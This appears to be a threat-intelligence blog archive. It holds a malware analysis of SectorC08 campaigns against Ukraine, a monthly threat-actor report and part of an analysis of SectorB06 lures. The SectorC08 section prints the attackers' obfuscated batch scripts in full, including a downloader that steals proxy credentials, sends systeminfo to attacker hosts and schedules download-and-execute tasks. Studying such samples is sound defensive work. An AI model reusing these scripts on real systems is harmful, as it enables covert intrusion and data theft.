SectorC08: Multi-Layered SFX in Recent Campaigns Target Ukraine


Unlike other state sponsored threat actors, SectorC08 appears to be only concerned with a single target: Ukraine. Artifacts of their likely activity have been found as far back as 2013 and up till today their modus operandi in their initial stages of operation has not changed much.

We analyzed over 50 of their executable malware files found very recently in order to look at similarities, differences, and outliers. We found that while a few samples still used SectorC08’s executable file structure which contained batch scripts which were split out into many files (e.g. Wariables.cmd) or batch scripts together with a decoder executable and an encoded executable, most of them followed the structure we will be detailing below.

Example of a Typical First Stage Structure (a8f849d536481d7d8a0fa59a7bcc03dd3387ab4cc14c0342371ae295817f505c)

All samples which we can confirm came in the months of May and June used the same structure in their malware which we will be describing below: a 7zSFX archive which opens a password protected WinRARSFX archive, which then attempts to use a version of wget to download its third stage malware which is another WinRARSFX archive such as UltraVNC.

Fake Documents

Some of the malware samples we found contained an embedded fake document in them pertaining to Ukrainian issues. We observed six such embedded fake documents which were sometimes reused against different targets. These documents are opened from the embedded batch file in the 7zSFX archive environment.

Example of files embedded in a 7zSFX archive. “6710” is the embedded fake document here.

The batch file is always the file which SectorC08 set to be ran after the 7zSFX archive is executed, and the way the file distracts the victim while it performs its malicious activity is to open up a fake document from that batch file.

<18974.cmd> – Commands Related to Opening Fake Document
… set CHeqCJB=Document … set EhFWXVK=6710 … copy /y “%EhFWXVK%” “%CHeqCJB%.docx” … “%CD%\%CHeqCJB%.docx” …

The fake documents are always in Ukrainian and pertain to Ukrainian issues such as legal, political, military or police issues.

By comparing the document content date to the malware internal versioning code (described later) and from our knowledge of the malware’s previous versioning codes and dates, we can conclude that when the malware internal versioning code corresponds to a date, it is at least a roughly accurate timestamp and we can create a partial timeline of events.

For example, the fake military document dated 21st May 2019 was found in three separate malware samples, where the version code “21.05” (21st May) appeared twice and “22.05” (22nd May) appeared once. Another example is the undated fake police message where the version code “24.05” (24th May) appeared thrice and “prok” and “27” appeared once each.

Basic Anti-Analysis

At the start of this batch script, the malware looks for Wireshark and Process Explorer using the TaskList command. If any of these exist, the script exits using an unspecified label “exit”. But due to an error in their programming logic, this does not actually do everything which the attacker thinks it does.

<18974.cmd> – Basic Anti-Analysis
… For %%g In (wireshark procexp) do ( TaskList /FI “ImageName EQ %%g.exe” | Find /I “%%g.exe” ) If %ErrorLevel% NEQ 1 goto exit …

While looking for Wireshark and Process Explorer were consistent across their malware samples, we also found singular instances where the malware was also checking for HttpAnalyzer (9dbc77844fc3ff3565970cb09d629a710fdec3065b6e4c37b20a889c716c53bf) and an old different malware family sample of SectorC08’s which also checked whether the machine’s username was a known sandbox username such as “TEQUILABOOMBOOM” or “MALWARETEST” (034fed63fc366ff3cf0137caced77a046178926c63faf1a8cd8db9d185d40821).

<statecrypt.cmd> – Checking for usernames such as “TEQUILABOOMBOOM”
… Set ProcessName=wireshark.exe TaskList /FI “ImageName EQ %ProcessName%” | Find /I “%ProcessName%” If %ErrorLevel% NEQ 1 goto hotlog set name=%username% if “%name%”==”MALTEST” goto hotlog if “%name%”==”MALWARETEST” goto hotlog if “%name%”==”TEQUILABOOMBOOM” goto hotlog if “%name%”==”SANDBOX” goto hotlog if “%name%”==”VIRUS” goto hotlog if “%name%”==”MALWARE” goto hotlog if “%name%”==”MALWARES” goto hotlog if “%name%”==”TEST” goto hotlog if “%name%”==”TROYAN” goto hotlog … :hotlog ping taskkill /f /im mshta.exe for /r “%TEMP%” %%d in (.) do dir /b “%%~d” | find /v “”>nul || rd /s /q “%%~d” del /f /q “%CD%\*.vbs” del /f /q “%CD%\*.exe” del /f /q “%CD%\*.cmd” exit

First Stage Persistence

In this sample, the first stage 7zSFX archive contains the first stage batch script (filename: “18974.cmd”), a shortcut link to run “%USERPROFILE%\winver.exe -pgblfhsuyjqyst” (filename: “11666”), the fake document (6710), and the second stage WinRARSFX archive (filename: “5610”). In the first stage batch script, we can see that the second stage executable is getting renamed and moved to “%USERPROFILE%\winver.exe”, then the shortcut file is being moved to “%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\winver.lnk” for persistence.

<18974.cmd> – Commands Related to Persistence
… set KsEEKky=”%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\” … set “EbnMNIJ=%USERPROFILE%” … set UDWwujG=winver … set GLUymyw=5610 … copy /y “%GLUymyw%” “%EbnMNIJ%\%UDWwujG%.exe” … copy /y “11666” %KsEEKky%\%UDWwujG%.lnk …

Sample Second Stage (EE623D8FCF366249A381B0CB50CE6295E913F88CB0F9CB4D8116C0F3D9FA16F2)

In many recent cases, their second stage is a password protected WinRARSFX which contains a VBS file whose only purpose is to run batch commands via WScript, a .cmd batch file containing the commands to be ran, and a renamed version of wget.

The second stage WinRARSFX archive

In this example, we see that the password used to open the second stage is “uyjqystgblfhs”. While SectorC08 sometimes changes the WinRARSFX password (or simply uses another 7zSFX unprotected archive), we observed this particular password being used at least 11 times across their various malware samples. This shows that while they have likely automated parts of their process for building these batch scripts, a lot of it is still completely manual.

<18974.cmd> – Commands Related to Second Stage Password
… set “EbnMNIJ=%USERPROFILE%” … set UDWwujG=winver … set GLUymyw=5610 … set cjhIZDS=uyjqystgblfhs … taskkill /f /im %UDWwujG%.exe … copy /y “%GLUymyw%” “%EbnMNIJ%\%UDWwujG%.exe” … start “” %EbnMNIJ%\%UDWwujG%.exe -p%cjhIZDS% …

Second Stage Persistence and Wget

After the first stage, the 7zSFX archive always eventually acts as a downloader in the second stage, launching various versions of wget in order to download its third stage.

<11009.cmd> – Full Contents
@echo off if SgJyn==GEdaT set SgJyn=%whAWq%*SbTrL-whAWq if %SbTrL% LEQ SgJyn set whAWq=SgJyn-atpVW-%SbTrL% chcp 1251>NUL set SbTrL=SgJyn+whAWq-GEdaT*atpVW-%SgJyn% if SbTrL==GEdaT set xGAmD=%whAWq%_SgJyn setlocal enabledelayedexpansion if %SbTrL% LEQ SgJyn set whAWq=SgJyn-atpVW-%SbTrL% set SbTrL=SgJyn+whAWq-GEdaT*atpVW-%SgJyn% set “qwoMlMx=HKCU\Software” set SbTrL=%SgJyn%*whAWq-%atpVW% if SgJyn==GEdaT set SgJyn=%whAWq%*SbTrL-whAWq if %SbTrL% LEQ SgJyn set whAWq=SgJyn-atpVW-%SbTrL% set “CnGKehh=Microsoft\Windows” set SbTrL=SgJyn+whAWq-GEdaT*atpVW-%SgJyn% set SbTrL=%SgJyn%*whAWq-%atpVW% if SgJyn==GEdaT set SgJyn=%whAWq%*SbTrL-whAWq set “XCEEJVi=CurrentVersion\Internet Settings” if %SbTrL% LEQ SgJyn set whAWq=SgJyn-atpVW-%SbTrL% set SbTrL=SgJyn+whAWq-GEdaT*atpVW-%SgJyn% set GMXXMeP=”%qwoMlMx%\%CnGKehh%\%XCEEJVi%” set SbTrL=%SgJyn%*whAWq-%atpVW% if SbTrL==GEdaT set xGAmD=%whAWq%_SgJyn For /F “UseBackQ Tokens=2*” %%n In (`Reg.exe Query %GMXXMeP%^|Find /I “ProxyServer”`) do set BtRtCGM=%%o if %SbTrL% LEQ SgJyn set whAWq=SgJyn-atpVW-%SbTrL% set SbTrL=SgJyn+whAWq-GEdaT*atpVW-%SgJyn% For /F “UseBackQ Tokens=2*” %%u In (`Reg.exe Query %GMXXMeP%^|Find /I “ProxyUser”`) do set tBUCICm=%%v if %SbTrL% LEQ SgJyn set whAWq=SgJyn-atpVW-%SbTrL% if SgJyn==GEdaT set SgJyn=%whAWq%*SbTrL-whAWq For /F “UseBackQ Tokens=2*” %%n In (`Reg.exe Query %GMXXMeP%^|Find /I “ProxyPass”`) do set BwtKgWA=%%o set SbTrL=SgJyn+whAWq-GEdaT*atpVW-%SgJyn% set SbTrL=%SgJyn%*whAWq-%atpVW% For /F “skip=1 Tokens=4*” %%u In (‘vol c:’) Do set KsEEKky=%%u if %KsEEKky%==is ( For /F “skip=1 Tokens=5*” %%v In (‘vol c:’) Do set KsEEKky=%%v ) if SbTrL==GEdaT set xGAmD=%whAWq%_SgJyn if %SbTrL% LEQ SgJyn set whAWq=SgJyn-atpVW-%SbTrL% set EbnMNIJ=22.05 set SbTrL=%SgJyn%*whAWq-%atpVW% set per_24=%computername% set SbTrL=SgJyn+whAWq-GEdaT*atpVW-%SgJyn% set DOHVFwJ=0 if SgJyn==GEdaT set SgJyn=%whAWq%*SbTrL-whAWq set SbTrL=%SgJyn%*whAWq-%atpVW% systeminfo > UDWwujG if %SbTrL% LEQ SgJyn set whAWq=SgJyn-atpVW-%SbTrL% if SgJyn==GEdaT set SgJyn=%whAWq%*SbTrL-whAWq FOR /F “tokens=*” %%n IN (UDWwujG) do @IF NOT i%%n==i set CHeqCJB=!CHeqCJB!%%n+### set SbTrL=SgJyn+whAWq-GEdaT*atpVW-%SgJyn% set SbTrL=%SgJyn%*whAWq-%atpVW% if %SbTrL% LEQ SgJyn set whAWq=SgJyn-atpVW-%SbTrL% set NFJOtqt=%computername%_%KsEEKky:-=% set SbTrL=%SgJyn%*whAWq-%atpVW% set eNSzFCv=http if %SbTrL% LEQ SgJyn set whAWq=SgJyn-atpVW-%SbTrL% if SgJyn==GEdaT set SgJyn=%whAWq%*SbTrL-whAWq set SbTrL=%SgJyn%*whAWq-%atpVW% if SbTrL==GEdaT set xGAmD=%whAWq%_SgJyn set FbNZKeg=wincreator set SbTrL=SgJyn+whAWq-GEdaT*atpVW-%SgJyn% if SbTrL==GEdaT set xGAmD=%whAWq%_SgJyn set if SgJyn==GEdaT set SgJyn=%whAWq%*SbTrL-whAWq set SbTrL=SgJyn+whAWq-GEdaT*atpVW-%SgJyn% if %SbTrL% LEQ SgJyn set whAWq=SgJyn-atpVW-%SbTrL% set EhFWXVK=%eNSzFCv%://%FbNZKeg%.%HIngDXg% if SgJyn==GEdaT set SgJyn=%whAWq%*SbTrL-whAWq if %SbTrL% LEQ SgJyn set whAWq=SgJyn-atpVW-%SbTrL% set SbTrL=%SgJyn%*whAWq-%atpVW% set GLUymyw=jasfix set SbTrL=%SgJyn%*whAWq-%atpVW% set SbTrL=SgJyn+whAWq-GEdaT*atpVW-%SgJyn% set “cjhIZDS=%APPDATA%\Microsoft\IE” if SgJyn==GEdaT set SgJyn=%whAWq%*SbTrL-whAWq set SbTrL=SgJyn+whAWq-GEdaT*atpVW-%SgJyn% set ViKDbBD=MicrosoftCreate if %SbTrL% LEQ SgJyn set whAWq=SgJyn-atpVW-%SbTrL% set SbTrL=%SgJyn%*whAWq-%atpVW% set BDwSMJD=weristotal if %SbTrL% LEQ SgJyn set whAWq=SgJyn-atpVW-%SbTrL% set NOdKmih=winusers if SbTrL==GEdaT set xGAmD=%whAWq%_SgJyn set flkpgez=bitvers set per_23=”Mozilla/5.0 (Windows NT 10.0) Safari/537.36 OPR/54.0.2952.64″ if SgJyn==GEdaT set SgJyn=%whAWq%*SbTrL-whAWq MD “%cjhIZDS%” if %SbTrL% LEQ SgJyn set whAWq=SgJyn-atpVW-%SbTrL% copy “%ViKDbBD%.exe” “%cjhIZDS%\%BDwSMJD%.exe” /y set SbTrL=SgJyn+whAWq-GEdaT*atpVW-%SgJyn% if SgJyn==GEdaT set SgJyn=%whAWq%*SbTrL-whAWq schtasks /Create /SC MINUTE /MO 30 /F /tn %BDwSMJD%_%KsEEKky:-=%_01 /tr “%cjhIZDS%\%BDwSMJD%.exe -b -c -t 5 ‘%eNSzFCv%://%flkpgez%.%HIngDXg%/%NFJOtqt%/%NOdKmih%.exe’ -P ‘%USERPROFILE%'” set SbTrL=%SgJyn%*whAWq-%atpVW% set SbTrL=SgJyn+whAWq-GEdaT*atpVW-%SgJyn% if %SbTrL% LEQ SgJyn set whAWq=SgJyn-atpVW-%SbTrL% schtasks /Create /SC MINUTE /MO 32 /F /tn %BDwSMJD%_%KsEEKky:-=%_02 /tr “%USERPROFILE%\%NOdKmih%.exe” if %SbTrL% LEQ SgJyn set whAWq=SgJyn-atpVW-%SbTrL% set SbTrL=SgJyn+whAWq-GEdaT*atpVW-%SgJyn% if defined BtRtCGM ( schtasks /Create /SC MINUTE /MO 31 /F /tn %BDwSMJD%_%KsEEKky:-=%_03 /tr “%cjhIZDS%\%BDwSMJD%.exe -e http_proxy=http://%BtRtCGM% –proxy-user=%tBUCICm% –proxy-password=%BwtKgWA% -b -c -t 3 ‘%eNSzFCv%://%flkpgez%.%HIngDXg%/%NFJOtqt%/%NOdKmih%.exe’ -P ‘%USERPROFILE%'” ) if SbTrL==GEdaT set xGAmD=%whAWq%_SgJyn set SbTrL=SgJyn+whAWq-GEdaT*atpVW-%SgJyn% if %SbTrL% LEQ SgJyn set whAWq=SgJyn-atpVW-%SbTrL% :KTmZDZR set SbTrL=%SgJyn%*whAWq-%atpVW% set SbTrL=SgJyn+whAWq-GEdaT*atpVW-%SgJyn% set /a xTBHxRg=39*%RANDOM%/32768 if %SbTrL% LEQ SgJyn set whAWq=SgJyn-atpVW-%SbTrL% set SbTrL=SgJyn+whAWq-GEdaT*atpVW-%SgJyn% ping -n 10 if SbTrL==GEdaT set xGAmD=%whAWq%_SgJyn timeout /t %xTBHxRg% set SbTrL=SgJyn+whAWq-GEdaT*atpVW-%SgJyn% taskkill /f /im %ViKDbBD%.exe if SbTrL==GEdaT set xGAmD=%whAWq%_SgJyn set SbTrL=%SgJyn%*whAWq-%atpVW% %ViKDbBD%.exe –user-agent=%per_23% –post-data=”versiya=%EbnMNIJ: =%&comp=%per_24%&id=%NFJOtqt: =%&sysinfo=%CHeqCJB%” “%EhFWXVK%” -q -N %EhFWXVK% -O %GLUymyw%.exe set SbTrL=%SgJyn%*whAWq-%atpVW% if defined BtRtCGM ( %ViKDbBD%.exe –user-agent=%per_23% -e http_proxy=http://%BtRtCGM% –proxy-user=%tBUCICm% –proxy-password=%BwtKgWA% –post-data=”versiya=%EbnMNIJ: =%&comp=%per_24%&id=%NFJOtqt: =%&sysinfo=%CHeqCJB%” “%EhFWXVK%” -q -N %EhFWXVK% -O %GLUymyw%.exe ) ping -n 5 if %SbTrL% LEQ SgJyn set whAWq=SgJyn-atpVW-%SbTrL% set /a zDGBFmh=0 set SbTrL=SgJyn+whAWq-GEdaT*atpVW-%SgJyn% for %%o in (%GLUymyw%.exe) do (set /a zDGBFmh=%%~Zo) if SgJyn==GEdaT set SgJyn=%whAWq%*SbTrL-whAWq if %zDGBFmh% GEQ 50002 call :FdLHKss set SbTrL=%SgJyn%*whAWq-%atpVW% set /a xTBHxRg=30*%RANDOM%/32768 if SbTrL==GEdaT set xGAmD=%whAWq%_SgJyn if %SbTrL% LEQ SgJyn set whAWq=SgJyn-atpVW-%SbTrL% ping -n 5 set SbTrL=%SgJyn%*whAWq-%atpVW% set SbTrL=SgJyn+whAWq-GEdaT*atpVW-%SgJyn% goto KTmZDZR if %SbTrL% LEQ SgJyn set whAWq=SgJyn-atpVW-%SbTrL% :FdLHKss start “” “%GLUymyw%.exe” if SbTrL==GEdaT set xGAmD=%whAWq%_SgJyn ping -n 11 set SbTrL=SgJyn+whAWq-GEdaT*atpVW-%SgJyn% del /q /f “%GLUymyw%.exe” if SgJyn==GEdaT set SgJyn=%whAWq%*SbTrL-whAWq exit /b set SbTrL=SgJyn+whAWq-GEdaT*atpVW-%SgJyn%

From the sample contents below, we can see that MicrosoftCreate.exe (some version of wget) is being renamed and moved to “%APPDATA%\Microsoft\IE\weristotal.exe”. This weristotal.exe is then set to download an EXE file from hxxp://bitvers[.]ddns[.]net/<computerinfo>/winusers.exe in a scheduled task which is then executed in another scheduled task. The scheduled task to perform the download happens every 30 minutes, and this is important to note because SectorC08’s servers very often returns a HTTP 403 Forbidden error instead of the requested file.

Separately, the original MicrosoftCreate.exe also attempts to download another executable, jasfix.exe in this case, from hxxp://wincreator[.]ddns[.]net/<computerinfo>/winusers.exe. While both of these wget downloads are to different DDNS servers, both servers point to the same IP addresses and the same file paths, meaning that it is also a form of redundancy for SectorC08.

In order to identify victims, fields sent in the wget command include the “comp” field (containing %computername% environment variable) and the “sysinfo” field (containing the entire contents of the systeminfo command). All of these are sent in the clear using HTTP.

Another interesting area to note from how they run wget is the user-agent used and the “versiya” (version) field in the post-data. While the user-agent is left as the default wget user agent about half the time, at other times various and even unusual user-agent strings are used which suggests that SectorC08 sometimes knows which user-agent strings are used or likely to be used in the victim environment.

Version CodeUser-Agent
07.05Mozilla/5.0 (Windows NT 10.0; Win64; x64) Safari/537.36
13.05Mozilla/5.0 (Windows NT 6.1; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0
13.05Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) Safari/604.1
21.05 Mozilla/5.0 (Linux; Android 5.1; Neffos C5 Build/LMY47D) Mobile Safari/537.36
21.05Mozilla/5.0 (X11; Linux x86_64) Safari/537.36
23.05Mozilla/5.0 (Windows NT 6.1; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0
23.05 Mozilla/5.0 (Windows NT 10.0) Safari/537.36 OPR/54.0.2952.64
24.05 Mozilla/5.0 (Linux; Android 8.0.0; SM-G955F Build/R16NW) Safari/537.36
24.05 Mozilla/5.0 (Windows NT 5.1) Chrome/49.0.2623.112
U_04 Mozilla/5.0 (Windows NT 6.1; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0
USB_04Mozilla/5.0 (Windows NT 6.1; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0
USB_07 Mozilla/5.0 (Windows NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0
USB_08Mozilla/5.0 (Windows NT 6.1; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0
Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.87 Safari/537.36 OPR/54.0.2952.64
osb Mozilla/5.0 (Windows NT 10.0; Win64; x64) Safari/537.36

Additionally, if a proxy is defined at “HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings” with the registry keys “ProxyServer”, “ProxyUser”, and “ProxyPass”, these values will be used in the wget “http_proxy”, “–proxy-user”, and “–proxy-password” fields in another invocation of wget.

In total we observed six different versions of wget being used by SectorC08 recently, which are what appears to be different variations of GNU Wget 1.11.4 and GNU Wget 1.16.

Stage 3 and 4 – UltraVNC

The file downloaded by wget is actually the stage 3 binary, another 7zSFX archive but this time containing a password protected WinRARSFX archive which uses UltraVNC for remote administration. In fact, using UltraVNC for unauthorized remote administration has been a tactic which SectorC08 has been using for many years.


SectorC08 is a threat group interested in targeting Ukraine and has been doing so for many years. While their tactics have not changed much even after so long, that only goes to show that they have achieved at least some success in their operations over the years. From a technical standpoint, their custom malware might appear to some as unsophisticated due to the low technical difficulty in creating these malware samples, but in fact due to their creative use of various versions of open source utilities and modifying a lot of static information such as the 7zSFX and WinRARSFX versions used to create their executables and even the icons of every file, they have consistently achieved low detections from security products and are likely to continue to do so.

Indicators of Compromise

Hashes (SHA-256)


wget utilities (SHA-256)


Embedded Lure Documents


Domain Names


IP Addresses


MITRE ATT&CK Techniques

The following is a list of MITRE ATT&CK Techniques we have observed based on our analysis of these malware.

Initial Access

T1091 Replication Through Removable Media
T1193 Spearphishing Attachment


T1059 Command-Line Interface
T1085 Rundll32
T1053 Scheduled Task
T1064 Scripting
T1204 User Execution
T1047 Windows Management Instrumentation


T1158 Hidden Files and Directories
T1060 Registry Run Keys / Startup Folder
T1053 Scheduled Task
T1023 Shortcut Modification

Defense Evasion

T1158 Hidden Files and Directories
T1036 Masquerading
T1085 Rundll32
T1064 Scripting
T1027 Obfuscated Files or Information


T1057 Process Discovery
T1012 Query Registry
T1082 System Information Discovery
T1016 System Network Configuration Discovery
T1124 System Time Discovery
T1497 Virtualization/Sandbox Evasion

Command and Control

T1043 Commonly Used Port
T1065 Uncommonly Used Port
T1219 Remote Access Tools
T1071 Standard Application Layer Protocol

Monthly Threat Actor Group Intelligence Report, April 2019

This is a summary of activity of suspected state sponsored Threat Actor Groups analyzed by the ThreatRecon Team, based on data and information collected from March 21 to April 20, 2019.

1. SectorA Activity Features

A total of four hacking groups, SectorA01, SectorA02, SectorA05 and SectorA06 were found among SectorA hacking groups this April.

The scope of activity for SectorA groups found in April is much larger than in the past. Previously, their targets were mainly in East Asia and North America, but now includes many more targets around the world. Traces of hacking activities have been found in the Middle East, including Israel, Turkey and Palestine, East Asia including China and South Korea, Eastern Europe including Ukraine and Slovenia, Southeast Asia including Sri Lanka and Vietnam, and North America including the United States.

The techniques used in their hacking activities found were basically using Spear Phishing techniques with a Hangul Word Process (HWP) file or Microsoft Word file depending on the target person or organization. We also observed them using the recently discovered WinRAR vulnerability. In addition, a case of Watering Hole attack was found.

For targets in East Asia, including South Korea, their aim was stealing information related to politics and diplomacy, as well as at stealing financial information represented by virtual currencies. Elsewhere, they were concerned with military information related to military weapons and stealing diplomatic information from countries engaged in diplomatic activities related to SectorA.

The scope of the hacking activities is expected to continue to expand in the future, as the hacking activities of SectorA hacking groups are being carried out for stealing military, diplomatic, political and financial information purposes.

2. SectorB Activity Features

A total of three hacking groups, SectorB01, SectorB06, and SectorB10 were found among SectorB hacking groups this April.

SectorB hacking groups hacking activities have been found in Europe including Russia, Portugal, Germany and France, and in Asia including Mongolia, Singapore, Japan, Taiwan, Vietnam and South Korea.

SectorB hacking groups had hacked the internal network of hardware and software manufacturers in East Asia, using Microsoft’s RTF file malware as an Spear Phishing attachment, including vulnerabilities that were frequently used in the past.

These Supply Chain Attacks were linked to cases involving malware in an online game update file developed by an online gaming company in East Asia in March.

They are likely to have done so because the difficulty of directly hacking their target organizations or staff was high enough to warrant other attack routes such as using Supply Chain Attacks to gain access to their targets instead.

3. SectorC Activity Features

A total of three hacking groups, SectorC01, SectorC02, and SectorC10 were found among SectorC hacking groups this April, with hacking activity targeted at countries in Europe and North America, including Britain, the United States, and Germany.

This April, SectorC hacking groups aimed at stealing information on political and diplomatic activities in European countries. They basically used Spear Phishing techniques with malware and tried to target the presidential elections in certain Eastern European countries.

In addition, SectorC10 hacking activity targeting ICS/SCADA environments has been discovered, and this group has various capabilities and tools, such as WebShells, Backdoors, and performing Credential Harvesting and Remote Command Execution.

4. SectorD Activity Features

A total of four hacking groups, SectorD01, SectorD02, SectorD05 and SectorD12 were found among SectorD hacking groups this April, with hacking activity targeted at countries in the Middle East, including the Sector’s political competitor Saudi Arabia, the United Arab Emirates, Jordan, Iraq and Turkey, and Ukraine, Estonia, Germany, and the United States, as well as South and East Asia.

SectorD hacking groups are basically using Spear Phishing techniques with malware and example phishing documents were word files using confidential U.S. State Department forms. At the same time, malware in the form of compressed files that abused the recently discovered WinRAR’s vulnerability were also found. SectorD hacking groups mainly collected political, military and diplomatic information from countries in the Middle East that are its political competitors.

However, with the recent declaration of noncompliance with some treaties of a Nuclear Agreement it is part of, hacking aimed at collecting information on government activities are expected to intensify as conflicts are expected with other countries in many areas, including politics and diplomacy.

5. SectorE Activity Features

A total of two hacking groups, SectorE02, and SectorE05 were found among SectorE hacking groups this April, with hacking activity targeted at countries including Pakistan, Bangladesh, Sri Lanka, Myanmar and Nepal.

SectorE hacking groups typically use Spear Phishing as a major hacking technique to attach web page links or Microsoft Excel documents containing VBA macro scripts to emails that mimic legitimate entities such as foreign governments, telecommunications and defense industries, or utilize malicious Microsoft Word files that exploit known code execution vulnerabilities.

The recent spate of military and physical clashes in Pakistan is feared to spread to cyberwarfare. Against this backdrop, the number of hacking activities in neighboring countries is increasing as countries seek to collect information on diplomatic activities related to Central and Southeast Asian countries.

6. SectorF Activity Features

One hacking group, SectorF01, was found among SectorF hacking groups this April, with hacking activity targeted at countries in Southeast Asia including Vietnam, Cambodia, and East Asia including Japan, China, and South Korea.

The SectorF01 Group has previously conducted hacking activities on Southeast Asian countries for its political and military interests, but these days it seems like they are also interested in hacking for economic interests.

Some of these changes in hacking purposes as mentioned earlier have also led to widespread hacking in Southeast Asia and East Asia.

The hacking techniques used by the SectorF01 Group range from watering hole attacks using scripted malicious code that exploits vulnerabilities to Spear phishing hacking techniques where malicious codes exist as attachments.

In addition, they have been using various hacking techniques, scenarios, and strategies to make malware that operates on Mac operating systems in addition to malware that operates on Windows operating systems.

7. Cyber Crime Groups Activity Features

A total of three groups, SectorJ02, SectorJ03 and SectorJ04, were found to be responsible for cybercriminal purposes this April.

The targeted areas where these hacking groups operate for cybercrime have been found in the Middle East including Palestine, the United Arab Emirates and Saudi Arabia, in the Netherlands, Luxembourg, Europe including Sweden, Macedonia, Russia and Italy, in North and South America, South Korea, Japan, Singapore, as well as in Asia and the United States and Mexico.

Those who hack for financial purposes are also found in a wide range of countries, and they have different purposes from those who are supported by a particular country. However, as of December 2018, SectorsJ03 and SectorJ04 groups have moved their hacking activities to countries in Asia.

For the purpose of cyber crime, hacking groups generally use Spear Phishing as their major hacking technique, and the attached malware mainly include macros written to perform malicious functions. In addition, they also attempt to use Windows-based malicious scripts such as PowerShell, VBScript, and BAT.

The full report detailing each event together with IoCs (Indicators of Compromise) and recommendations is available to existing NSHC ThreatRecon customers.

SectorB06 using Mongolian language in lure document


SectorB06 is a state sponsored threat actor group active especially within Asia. They have been exploiting vulnerabilities in Microsoft Office’s Equation Editor [1] which Microsoft removed in January 2018 [2], which in this case seems to be a highly obfuscated version of CVE-2017-11882. The malware we analyzed in this case are sent seemingly only after they already have a basic foothold in their target organizations.

We came across multiple pieces of their malware used in 2019 which appears to be custom compiled on a per target victim per organization basis, with this particular decoy document being uploaded from a Singapore IP address.

Decoy RTF Document

In this example, SectorB06 made use of a Mongolian decoy document to target their victim.

Decoy document written in Mongolian which references the Ministry of Justice and Internal Affairs of Mongolia

If exploitable, the exploit code drops the first-stage malware DLL at “%APPDATA%\Microsoft\Word\STARTUP\cclerr.wll” and runs it.

First Stage Malware (RasTls.dll)

The malware starts off by resolving a list of encoded API addresses by accessing the address of kernel32 from the InMemoryOrderModuleList inside the Process Environment Block (PEB) using FS:[0x30]. It then gets the address of kernel32.LoadLibraryA and kernel32.GetProcAddress from a function which parses kernel32’s memory block. This is despite the malware already importing LoadLibraryA() and GetProcAddress(), and is used presumably to prevent automated systems from detecting massive amounts of calls to those functions.

From there, it gets the address of the other libraries it makes use of – Shlwapi.dll, Shell32.dll, Gdi32.dll, User32.dll, and Advapi32.dll. Once that is done, it calls the function which parses the various DLLs again close to 100 times in order to resolve all the APIs it uses. In the middle of those calls, it checks CheckRemoteDebuggerPresent and does not resolve the APIs from the other DLLs if a debugger is found, which will cause the malware to exit later before doing anything malicious.

Malware decrypting the imports it uses via its custom hashing algorithm

It then starts a thread which polls the result of CheckRemoteDebuggerPresent constantly and exits once a debugger is found.

Process Name Hashing

The malware checks for the lower-cased process name it is running under at various steps of execution using a string hashing algorithm. In the first step, it checks against the string hash “0xAB341DFA”, “0x190BC0F1”, “0x639EBCBF”, “0xA6AFB610”, “0x4D16CE36”, and “0x64820461”. It only continues execution if the process name hash is one of the first five hashes and the process name hash is not the last hash. We wrote a custom bruteforcing utility and managed to crack the first five hashes, finding the process names which the attacker expected as “winword.exe”, “excel.exe”, “powerpnt.exe”, “acrord32.exe”, and “eqnedt32.exe”. While four of these process names are associated with Microsoft Office and the Equation Editor vulnerabilities, “acrord32.exe” (Adobe Reader) is also in the expected process name list because the malware will in some situations rename the legitimate signed Symantec executable file (described later) to “AcroRd32.exe”.

Malware making sure the process name is related to the exploit source or itself

Besides this initial check, it also checks the hashes of process names at three other points of execution. Only the hash 0X84F39C89 is checked against the entire process list and is not a lower-case version of the process name.

0X0E867CB6rundll32.exeIf process is rundll32.exe, do not continue
0XA54ACF71explorer.exeIf process is not explorer/services.exe, do not continue
0XCD163D44services.exe If process is not explorer/services.exe, do not continue
0X84F39C89<unknown>If this process exists, do not inject into dllhost.exe

From this we can see there are actually two points from which the malware expects to run from – using the Microsoft Office exploit which injects the second stage malware into dllhost.exe or another path which injects into explorer.exe/services.exe.


This first stage malware mainly decompresses and drops two files being used for persistence.

File NameDescription
RasTls.dllRenamed from cclerr.wll
IntelGraphicsController.exe / AcroRd32.exeLegitimate signed Symantec file (real name: dot1xtra.exe) from Symantec Network Access Control agent (version 12.1.671.4971)
Hash: 724909ba378a872018a3ae0b68afe4949bc404de31bcbd65a6239c12b3a7a3ea

Public examples of a different version of this same signed file being abused in the wild was with version 11.0.4010.7, where the filenames used were rastlsc.exe and iassvcs.exe. Though these files were signed, their certificates have long expired.

The files used for persistence are stored in either the “%AppData%\Intel\Intel(R) Processor Graphic\” or “%PROGRAMFILES%\Intel\Intel(R) Processor Graphics\” directories.

The persistence keys used are in <HIVE>\Software\microsoft\windows\currentversion\run where <HIVE> is either HKLM or HKCU depending on whether there is administrative rights. The name of the registry key used is “IntelGraphicsController” with the value of “<DIRECTORY_TO_INTELGRAPHICSCONTROLLER.EXE> Processid:{0A10C245-2190-7215-A3C5-43215926716A}”.

Commands Ran

The malware runs CreateProcess from a custom command execution function four times, with each run executing takeown/icacls/icacls. The first icacls function attempts to give ownership to the administrators group and the second icacls function attempts to give ownership to the users group. The four runs are for the RasTls.dll file in the %APPDATA% and %PROGRAMFILE% subdirectories and the IntelGraphicsController.exe file in the %APPDATA% and %PROGRAMFILE% subdirectories.

Besides those commands, it also drops two batch files.

<random.bat> – deleting from initial location
Ping -n 10 del “C:\Users\admin\AppData\Roaming\Microsoft\Word\STARTUP\cclerr.wll” /q /f del %0 /q /f

<random.bat> – attempting to delete winword.exe
Ping -n 10 del “C:\Program Files\Microsoft Office\Office14\WINWORD.EXE” /q /f del %0 /q /f


The malware uses kernel32’s GetFileTime() and SetFileTime() to get the Creation Time, Last Access Time, and Last Write Time of %windir%\system32\kernel32.dll and saves those same times to the RasTls.dll and IntelGraphicsController.exe files. However, these timestamps are only approximate [3] so the fake times will not be an exact match to kernel32.dll’s file time.

The main two files dropped by the malware for persistence have the approximate timestamps of kernel32.dll

Victim Identification

